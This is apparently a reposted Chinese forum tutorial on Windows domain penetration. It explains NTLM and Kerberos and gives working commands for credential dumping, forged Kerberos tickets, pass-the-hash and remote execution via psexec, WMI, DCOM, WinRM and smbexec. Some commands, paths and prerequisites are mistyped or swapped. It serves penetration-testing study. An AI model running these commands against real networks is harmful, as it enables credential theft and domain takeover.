原文链接:https://forum.butian.net/share/4191
本文记录了内网渗透中主机之间的认证以及横向,域渗透相关的协议以及思路的多种方式,
Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功
SAM文件是位于 %SystemRoot%\system32\config\ 目录下的,用于储存本地所有用户的凭证信息,但是这并不代表着你可以随意去查看系统密码。
LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略
本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLMHash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
LM Hash原理(Des加密)
将明文口令转换为其大写形式,后转换为16进制字符串,密码不足14字节要求用0补全,然后将14字节分为两组七字节,将每一组7字节的十六进制转换为二进制(7字节变成28bit),每7bit一组末尾加0(32bit),再转换成十六进制组成得到2组8字节的编码,将以上步骤得到的两组8字节编码,分别作为DES加密key为魔术字符串 KGS!@#$% 进行加密
NTLM Hash原理(MD4加密)
将明文口令转换成十六进制的格式 如:Admin@123 转换成Unicode格式,即在每个字节之后添加0x00,然后对其进行md4加密
SAM文件抓取密码
导出sam和system文件
通多reg命令无工具导出:reg save hklm\sam sam.hive,reg save hklm\system system.hive
通过nishang中的Copy-VSS进行复制:如果这个脚本运行在了 DC服务器上,ntds.dit 和 SYSTEM hive也能被拷
贝出来
Mimicatz读取sam和system文件获取密码(NTLM哈希值,需要解密):lsadump::sam /sam:sam.hive /system:system.hive
Mimikatz在线读取sam文件(NTLM哈希值,需要解密):mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
getpassword在线读取NTLM哈希并且破解为明文
pwdump7获取账户所有NTLM哈希
**NTLM哈希值解密:**hashcat或者网站
**Mimikatz在线读取lsass进程(明文):**从lsass进程中提取passwords、keys、pin、tickets等信息sekurlsa::logonPasswords 通过以上各种方法读取明文密码
Mimikatz离线读取lsass进程抓取密码(明文):使用任务管理器导出lsass文件,使用procdump 导出lsass.dmp文件
使用mimikatz读取lsass.dmp文件(明文):mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取
reg命令修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 0 /f 关闭
在我们点击保存密码后,Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来(Credentials解密)。
查看凭证命令,查看mstsc的连接记录:cmdkey /list
查找本地的Credentials文件:dir /a %userprofile%\appdata\local\microsoft\credentials\,找到加密后的凭证文件,然后使用mimikatz获取该文件的MasterKey的guid,从内存中找到这个guid对应的MasterKey,最后打开mimikatz通过MasterKey值去解密凭据文件离线抓取也是一样的
在windows server 2012 R2中,新增了一个Protected Users 安全组,将用户加入到该组,用户的明文密码就不会
被获取
打补丁,修改注册表
BrowserGhost、Sharp-HackBrowserData等工具抓取浏览器密码
SharpDecryptPwd等工具抓取数据库
NTLM 协议是一种基于 挑战(Chalenge)/响应(Response) 认证机制,仅支持Windows的网络认证协议。
1、首先,client会向server发送一个username,这个username是存在于server上的一个用户
2、首先会在本地查询是否存在这样的一个用户,如果存在,将会生成一个16位的随机字符,即Chalenge,然后用查询到的这个user的NTLM hash对Chalenge进行加密,生成Chalenge1,将Chalenge1存储在本地,并将Chalenge传给client。
3、当client接收到Chalenge时,将发送的username所对应的NTLM hash对Chalenge进行加密即Response,并Response发送给server。
4、server在收到Response后,将其与Chalenge1进行比较,如果相同,则验证成功
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全
kerberos协议中也存在三个角色,分别是
客户端(client):发送请求的一方
服务端(Server):接收请求的一方
密钥分发中心(KDC),而密钥分发中心一般又分为两部分,分别是:
AS:认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)
TGS:票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务,授予票据ST(Ticket)
认证流程
1、客户端用户向KDC以明文的方式发起请求。该次请求中携带了自己的用户名,主机IP,和当前时间戳;
2、KDC当中的AS接收请求(AS是KDC中专门用来认证客户端身份的认证服务器)后去kerberos认证数据库中根据用户名查找是否存在该用户,如果存在该用户名,则AS认证中心便认为用户存在,此时便会返回响应给客户端,其中包含两部分内容:
TGT:客户端需要使用TGT去KDC中的TGS获取访问网络服务所需的ST(服务授予票据),TGT中包含的内容有kerberos数据库中存在的该客户端的Name,IP,当前时间戳,客户端即将访问的TGS的Name,TGT的有效时间以及Session_key(CT_SK)。
整个TGT使用TGS密钥加密,客户端是解密不了的,由于密钥从没有在网络中传输过,所以也不存在密钥被劫持破解的情况。
第二部分内容是使用客户端密钥加密的一段内容,其中包括Session_key(CT_SK),客户端即将访问的TGS的Name以及TGT的有效时间,和一个当前时间戳。该部分内容使用客户端密钥加密,所以客户端在拿到该部分内容时可以通过自己的密钥解密。如果是一个假的客户端,那么他是不会拥有真正客户端的密钥的,因为该密钥也从没在网络中进行传输过。这也同时认证了客户端的身份,如果是假客户端会由于解密失败从而终端认证流程。
此时的客户端收到了来自KDC(其实是AS)的响应,并获取到了其中的两部分内容。此时**客户端会用自己的密钥将第二部分内容进行解密,分别获得时间戳,自己将要访问的TGS的信息,和用于与TGS通信时的密钥CT_SK。**首先他会根据时间戳判断该时间戳与自己发送请求时的时间之间的差值是否大于5分钟,如果大于五分钟则认为该AS是伪造的,认证至此失败。如果时间戳合理,客户端便准备向TGS发起请求。
1、客户端使用CT_SK加密将自己的客户端信息发送给KDC,其中包括客户端名,IP,时间戳;
2、客户端将自己想要访问的Server服务以明文的方式发送给KDC;
3、客户端将使用TGS密钥加密的TGT也原封不动的也携带给KDC;
4、此时KDC中的TGS(票据授予服务器)收到了来自客户端的请求。他首先根据客户端明文传输过来的Server服务IP查看当前kerberos系统中是否存在可以被用户访问的该服务。如果不存在,认证失败结束,。如果存在,继续接下来的认证。
5、TGS使用自己的密钥将TGT中的内容进行解密,此时他看到了经过AS认证过后并记录的用户信息,一把Session_KEY即CT_SK,还有时间戳信息,他会现根据时间戳判断此次通信是否真是可靠有无超出时延。
6、如果时延正常,则TGS会使用CT_SK对客户端的第一部分内容进行解密(使用CT_SK加密的客户端信息),取出其中的用户信息和TGT中的用户信息进行比对,如果全部相同则认为客户端身份正确,方可继续进行下一步。
7、此时KDC将返回响应给客户端,响应内容包括:
第一部分:用于客户端访问网络服务的使用Server密码加密的ST(Servre Ticket),其中包括客户端的Name,
IP,需要访问的网络服务的地址Server IP,ST的有效时间,时间戳以及用于客户端和服务端之间通信CS_SK(SessionKey)
第二部分:使用CT_SK加密的内容,其中包括CS_SK和时间戳,还有ST的有效时间。由于在第一次通信的过程中,AS已将CT_SK通过客户端密码加密交给了客户端,且客户端解密并缓存了CT_SK,所以该部分内容在客户端接收到时是可以自己解密的。
此时的客户端收到了来自KDC(TGS)的响应,并使用缓存在本地的CT_SK解密了第二部分内容(第一部分内容中
的ST是由Server密码加密的,客户端无法解密),检查时间戳无误后取出其中的CS_SK准备向服务端发起最后的请求
1、客户端使用CS_SK将自己的主机信息和时间戳进行加密作为交给服务端的第一部分内容,然后将ST(服务授予票据)作为第二部分内容都发送给服务端。
2、服务器此时收到了来自客户端的请求,他会使用自己的密钥,即Server密钥将客户端第二部分内容进行解密,核对时间戳之后将其中的CS_SK取出,使用CS_SK将客户端发来的第一部分内容进行解密,从而获得经过TGS认证过后的客户端信息,此时他将这部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端。此时服务端返回一段使用CT_SK加密的表示接收请求的响应给客户端,在客户端收到请求之后,使用缓存在本地的CS_ST解密之后也确定了服务端的身份(其实服务端在通信的过程中还会使用数字证书证明自己身份)。
至此,第三次通信完成。此时也代表着整个kerberos认证的完成,通信的双方都确认了对方的身份,此时便可以放心的
进行整个网络通信了。
客户端发送用户名,ip,时间戳给AS,AS查询库中是否存在用户名,存在返回TGT(CT_SK以及用户名ip时间戳访问的TGS名)和一段客户端加密的内容(CT_SK以及访问的TGS名,CT_SK有效时间时间戳),客户端收到后先解密第二部分内容拿到时间戳看是否超时,然后获得TGS地址。然后客户端将自己的信息(用户名ip时间戳)用CT_SK加密后和TGT一起发给TGS,然后再将自己要访问的服务明文发给TGS
然后TGS收到后先看有没有对应得服务,然后用密钥解密TGT内容获得时间戳看看有没有过期,没有过期就用CT_SK解密客户端信息,对比客户端得信息和TGT信息是否一致,一致后返回客户端一个ST(CK_SK,时间戳,客户端信息)以及一个用CT_SK加密后的信息(CK_SK,时间戳,服务地址)
客户端收到后先用CT_SK解密第二段信息取出CK_SK,看时间有没有过期,然后用CK_SK将自己的信息加密后和ST一起发给服务端。
服务端收到后解密ST,对比时间戳过期没,然后用SK_SK将第二段信息解密对比客户信息,一致后认证结束
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
1、Kerberos中的TGT和Logon Session Key(CT_SK)是AS返回的 ,TGT它是由Krbtgt加密和签名的 ,krbtgt的NTLM Hash又是固定的,而CT_SK并不会保存在KDC中。
2、所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key(CT_SK)。
3、Client与TGS的交互中,而已有了金票后(TGT),就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造TGT,重新获取域控的管理权限。
前提:
1、域名称:net config workstation
2、域的SID值:whoami /user
3、域的KRBTGT账号的HASH:mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
4、伪造任意用户名:普通用户用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
然后mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
导入票据
服务账号介绍
服务账号就是计算机名字+$用来管理服务的账号
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。 在Kerberos认证的第三部,Client带着ST和Authenticator3(加密后的用户信息时间戳)向Server上的某个服务进行请求,Server接收到Client的请求之后,**通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3(加密后的用户信息时间戳),进而验证对方的身份,**验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash(Master Key )就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
前提:
1.域名:whoami /user
2.域sid:net config workstation
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH:mimikatz sekurlsa::logonpasswords
6.需要伪造的用户名
然后查票清票,导入票据
什么是 Kerberos 特权属性证书 (PAC)?
身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。完成身份验证后,下一个任务是决定是否授权特定请求。而 DC 包括 PAC 中的授权数据,例如安全标识符 (SID)
和相对标识符 (RID)
钻石票据则是利用域控制器去请求真实的TGT,对真实的TGT进行解密和重新加密实现(额外添加权限)的票据攻击。钻石票据只需请求普通票证、解密 PAC、修改、重新计算签名并再次加密,生成与合法 PAC 高度相似的 PAC,并且还可以生成合法请求。(生成了一个和原来pac高度相似的票证,不会替代原来的pac)
在这里我们使用Rebeus进行钻石票据攻击的利用。
利用前提:
首先我们使用mimikatz获取krgtgt的aes256密钥
shell C:\Users\administrator\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"
获取域密码
krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 user:mssql password:1qaz@WSX domain:de1ay.com dc:dc.de1ay.com ticketuser:administrator
生成钻石票据
shell C:\Users\mssql\Desktop\Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap
在我们使用钻石票据之前,低权限的主机是无法访问域控的。那么有了以上这些信息,我们接着在低权限的机器里上传Rubeus开始进行钻石票据攻击
蓝宝石票据攻击可以创建一个模拟任何用户的 TGT,结合 S4U2Self + U2U 组装真正的 TGT 和真正的 PAC。该 PAC 会替换合法票据中的 PAC
获取以下信息
domain admin:snapattack domain:snapattcker.labs user:vgullible pass:Passw0rd1 aesKey:fec5d... .... domain-sid:S-1-5 ... ... DC:arrakis.snapattack.labs
钻石票据与蓝宝石票据的区别,在钻石票据攻击当中,修改是通过添加额外权限或完全修改所请求的 TGT 的原始 PAC。而在蓝宝石票据当中,则是使用 Kerberos 委派获取高权限用户的合法 PAC 来修改 TGT,并将其替换为原始票证的 PAC。
向日葵远控连接:需要将客户端传到靶机,可以使用修改注册表得命令运行,动静会小一点,然后输入账号密码即可进行连接
ToDesk远控连接:需要将客户端传到靶机,运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中的tempAuthPassEx,重启ToDesk即可得到明文密码
GoToHTTP远控连接:不需要将客户端传到每一台靶机上,有浏览器就能访问远程电脑
利用远控工具RustDESK横向移动:远程桌面软件,开箱即用,无需任何配置,需要将客户端传到靶机
IPC共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等
操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。
首先,需要建立一个ipc$:net use \192.168.41.30\ipc$ "密码" /user:administrator
IPC$利用条件
1、开启了139、445端口
ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应 用。通过
139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445
端口的支持。
2、管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录
winnt或 windows( adminS)通过ipc$,可以实现对这些默认共享目录的访问
3、IPC$连接失败原因
用户名或密码错误
net use \192.168.41.30\ipc$ "密码" /user:administrator
net use目标没有打开ipcs默认共享
不能成功连接目标的139、445端口
4、具体利用
在使用 netuse命令与远程目标机器建立ipcs后,可以使用dir命令列出远程主机中的文件:dir \192.168.18.10\c$
在使用 net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列 出远程主机上
运行的进程:tasklist /s 192.168.18.10
利用方式-schtasks
查看系统时间net time \IP地址
复制恶意反弹连接的文件:copy 文件 \IP地址\C$
创建计划任务:schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
执行计划任务:schtasks /run /s IP地址 /i /tn "计划任务名"
删除计划任务:schtasks /delete /s IP地址 /tn "计划任务名" /f
清除IPC连接:net use \IP /del /y
获取到密码并着手横向时,却发现Task Sheduler服务(计划任务)没有启用。这时候我们就可以远程建立服务,然后再启用服务(SC命令)来运行我们想要运行的命令。
SC 是用来与服务控制管理器和服务进行通信的命令行程序。
IPC建立连接:net use \192.168.41.40\ipc$ "Admin@123" /user:administrator
复制恶意反弹连接文件:copy C:\Users\Administrator\Desktop\wanli.exe \192.168.41.40\C$
开启服务:sc \192.168.17.138 start test
删除服务:sc \192.168.17.138 delete test
本质上其实就是用密码去碰撞用户名,Kerberos协议用户名存在不存在返回不一致
域内用户枚举攻击原理
Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。
可以用kerbrute等工具进行爆破
该方法通过找到与账户相关 的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中**,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本 地管理员账号和密码**,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登 录内网中的其他计算机。同 时**,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)**。 在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和 工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来 完成任务。在 WindowsServer2012R2及之后版 本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权 限验证,实现对远程计 算机的控制。
原理:
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明 文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密 处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加 密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。 主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系 统,则使用 LMHash对用户密码进行验证。但是,当密码大于等于14位 时,就无法使用LM Hash了。从Windows vista和 Windowsserver2008版本开始, Windows操作 系统默认禁用 LMHash,因为在使用 NTLM Hash进行身份认 证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsalogon User)转换成散列值。不过,攻击者在获得密 码散列值之 后,依旧可以使用哈希传递攻击来模拟用户进行认证。
哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口。
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈
希传递攻击,攻击成功后,可以访问域内任何一台机器
使用mimikatz进行hash传递:mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator
/domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab
WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都
可以使用NTLM哈希传递
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行
验证
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、
psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外,
利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样
也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这
个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在
lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
前提:我们下载已经控制了2012-2主机,发现他是admin用户登录系统,通过抓取密码发现域管账号存在内存
中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
抓取密码传递key(AESkey):sekurlsa::pth /user:administrator/domain:hack.com
/aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员
权限进行 横向渗透测试的方法
例如票据传递( PassThe Ticket,PTT)
票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。
黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。
白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。
票据传递攻击一般分为两种
1、自己制作票据
2、传递内存中的票据:
导出内存的票据:mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
清除内存中的票据:shell klist purge/mimikatz kerberos::purge
将高权限的票据文件注入内存:mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt
HACK.COM.kirbi
MS14-068介绍
ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服
务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用
MS14-068的利用条件
1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
利用:
清楚内存中的票据:klist purge
生成票据:ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控
导入票据:kerberos::ptc 票据名字
前提:
1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标
共享中必须有admin$共享
利用:
建立IPC$连接:net use \192.168.41.150\ipc$ "Admin@123" /user:administrator
返回交互的shell或者执行命令:psexec.exe -accepteula \192.168.41.150 -s cmd.exe 返回交互shell(必须是msf或者远程到桌面CS不行)
psexec.exe -accepteula \192.168.41.150 -s ipconfig 远程执行命令
什么是WMI
**WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。**通过渗透测试发现,在使用 wmiexec 进行横向移动时,**windows 操作系统默认不会将 WMI 的操作记录在日志中。**因此很多 APT 开始使用 WMI 进行攻击。WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode)
Wmiexec工具进行利用
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的
通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网
络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主
机上执行的进程将会是托管COM服务器端的软件
获取DCOM列表
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
DCOM横向前提
1、需要关闭系统防火墙
2、必须拥有管理员权限
3、在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
利用:
1、通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,
然后,它就从远程返回一个COM对象的实例。
$com =
[activator] :CreateInstance(type::GetTypeFromProgID("MMC20.Application","192.1
68.41.147"))
2、然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c
calc.exe","Minimzed")
WinRM介绍
**WinRM(Windows远程管理)**是Microsoft 在Windows中对WS-Management的实现,它使系统可以
跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管
理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包
括WinRM)。 WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服
务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作
winrs.exe
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get
Culture}
1、执行winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami"
出现不信任就输入winrm set winrm/config/Client @{TrustedHosts="*"}
SMB介绍
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协
议。除此之外,SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后,客户端可以向服务器发
送SMB命令允许用户访问共享、打开、读取或者是写入文件。
smbexec使用
smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接明文传递命令:
smbexec hsyy.com/administrator:123.com@192.168.213.163
hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163
smbexec administrator:Admin@123@192.168.41.148
smbexec -hashes
aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
administrator@192.168.41.148
Cobalt Strike 生成DLL
1、生成 CS的生成 bin文件
2、使用msf 用 bin文件生成 dll文件:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o wanli111.dll
将文件导入进去
Ntds.dit介绍
ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域
控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、
sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和
SAM文件一样,被windows系统锁死
位置:C:\Windows\NTDS
ntdsutils.exe提取ntds.dit
第一步:创建快照
ntdsutil.exe snapshot "activate instance ntds" create q q,拿到快照uid值
第二步:加载快照
ntdsutil.exe snapshot "mount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q,拿到快照地址
第三步:复制快照中的ntds.dit文件
第四部:删除快照
vssadmin提取ntds.dit
第一步:创建快照,第二步:复制文件,第三步:删除快照
离线方式读取ntds.dit文件
离线一般需要两步:
1、将远端域控的ntds.dit下载到本地,
2、然后利用再在本地进行。
注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看
ntds.dit 里内容
MSF读取ntds.dit文件
离线读取
离线读取使用msf读取ntds文件,前提是msf必须和域控相同,我们可以使用代理技术,将msf代理到内
网,然后使用msf导出ntds文件
1、使用导出模块进行导出
use auxiliary/admin/smb/psexec_ntdsgrab
2、填写相关的选项,主要有 IP,域,用户名和密码
set RHOSTS 192.168.41.10
set SMBDomain hack.com
set smbuser administrator
set smbpass "123456kl;'/"
3、运行之后 ntds和system文件会被保存到/root/.msf4/loot下
4、在相应的目录下找到该文件,使用相应的工具读取该文件即可
1、常规渗透方法(利用web漏洞)
2、哈希传递票据攻击
3、利用域信任关系
域信任关系
建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管
理和维护,域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同
时,域信任利用DNS服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个
域,也就不存在通过域信任关系进行跨域资源共享了
域信任关系分类
域信任关系分为单向信任和双向信任
单向信任:是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。
双向信任:是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向可传递的。在创建子域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通关其父域向上流向信任域
域信任关系也可以分为内部信任和外部信任
内部信任:在默认情况下,用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域,
则BA域也信任DA域。
外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。
只有domain admins组中的用户可以管理域信任关系
查看域信任关系:nltest /domain_trust
当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008机器
当前无法访问DC.HACK.COM
使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥
mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$"
"lsadump::trust /patch" exit
在普通的域内用户中创建创建高权限票据
mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密
钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi"
exit
mimikatz.exe "kerberos::golden /domain:abc.hack.com /sid:S-1-5-21-2902250016-
280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-519
/rc4:4101a9a4410052f42a70990e5371a5b9 /user:administrator /service:krbtgt
/target:hack.com /ticket:administrator.kirbi" exit
